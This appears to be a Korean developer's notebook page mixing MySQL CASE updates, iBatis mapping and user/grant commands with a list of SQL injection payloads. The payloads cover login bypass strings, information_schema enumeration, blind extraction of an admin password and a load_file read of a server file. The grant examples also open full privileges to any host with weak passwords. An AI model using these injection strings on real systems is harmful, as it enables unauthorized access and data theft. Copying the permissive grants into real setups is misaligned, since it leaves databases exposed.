쿼리문 예제)


UPDATE TABLE

SET

name = CASE

WHEN id = 1 THEN "lion"

WHEN id = 2 THEN "cat"

END

WHERE

name IN (1, 2)



아이바티스 예제)

<update id="modifyOrdering" parameterClass="java.util.List">

<![CDATA[

UPDATE ADMINBOARD

SET

KEYVISUAL_ORDER = CASE

]]>

<iterate conjunction=" ">

WHEN seq=#[].seqId#  THEN #[].keyviOrder# 

</iterate>

<![CDATA[

END

WHERE

KEYVISUAL_ORDER IN (1, 2, 3, 4, 5, 6);

]]>

</update> 

권한이 없기 때문에 localhost로는 접근이 가능하지만 타 IP로는 접근 권한이 없으므로


권한을 주어야한다.


mysql > GRANT ALL PRIVILEGES ON *.* TO root@'IP_주소' IDENTIFIED BY 'qwer1234' WITH GRANT OPTION;


여기서 IP_주소 는 mysql이 깔린 HOST 주소가 아니라 연결 하고 싶어하는 Client 측 IP를 말한다.

mysql 설치 시 이런 에러창이 뜨면

mysql 5.6. x버전 이상은 ms .net 기반으로 만들어 져서 .net을 설치 해야 한다는 말이다.


http://www.microsoft.com/ko-kr/download/details.aspx?id=17113


아래 사이트 가서 닷넷을 받으면 해결 완료

/* % : 모든 외부 접속 권한 허용 */

INSERT INTO mysql.user (host,user,password, ssl_cipher, x509_issuer, x509_subject, authentication_string) VALUES ('%','아이디',password('비밀번호'),'','','','');


or


/* localhost : 내부 로컬만 접속 권한 허용 */

INSERT INTO mysql.user (host,user,password, ssl_cipher, x509_issuer, x509_subject) VALUES ('localhost','아이디',password('비밀번호'),'','','');



flush privileges;


/* jh명의 database명들에 관한 dbuser 권한 설정 (동시에 외부 접속허용 %) */

/* 주의해야할점 database명이 ' ' 가 아닌 ` */

grant all privileges on jh.* to jh@% identified by 'qwer' with grant option;



/* jh_ 이름들로 시작한 database명들 모두 */

`jh_%`


or


/* jh명의 database명들에 관한 dbuser 권한 설정 (동시에 로컬만 접속허용 localhost) */

grant all privileges on jh.* to jh@localhost identified by 'qwer' with grant option;




// 모든 grant 문에는 flush privileges 를 할 필요없다



/* 유저 삭제 */

drop user 'jh'@'localhost';


/* 권한 확인 */

show  grants for 사용자명;


http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt



%09 Tab

%0a enter

%20 space bar


admin'# , admin' or 1=1-- , admin' or 1=1# , admin'-- , -1||0x616414212


select table_name from information_schema.tables where table_type='basetable' limit 0,1;


select user_pw from user_table where no='-1' union select 'admin';


select table_name from information_schema.tables where table_schema=database() limit 0, 1;

select column_name from information_schema.columns where table_name='board' limit 0, 1;

//현재 사용중인 table 찾고, 그뒤 알아낸 table명으로 column이름 찾기


select no from m_sur3x5F4 where no='$_GET[no]';

1 and ascii(substr((select password from m_sur3x5F4 where id='admin'),1,1)) > 0


select table_name from information_schema.tables where table_schema!='information_schema';

//root 이지 않은 평범한 일반계정일 경우, 관리하는 테이블_스키마 이외에 나머지 인포메이션_스키마를 찾는다 (즉, 사용자가 직접 구성한 테이블만 찾는다)


'(select 1)=1#

"|"



select 1,2,(load_file('/home/www/key.php')),4,5

//key.php를 열어보기 위한 injection query문

+ Recent posts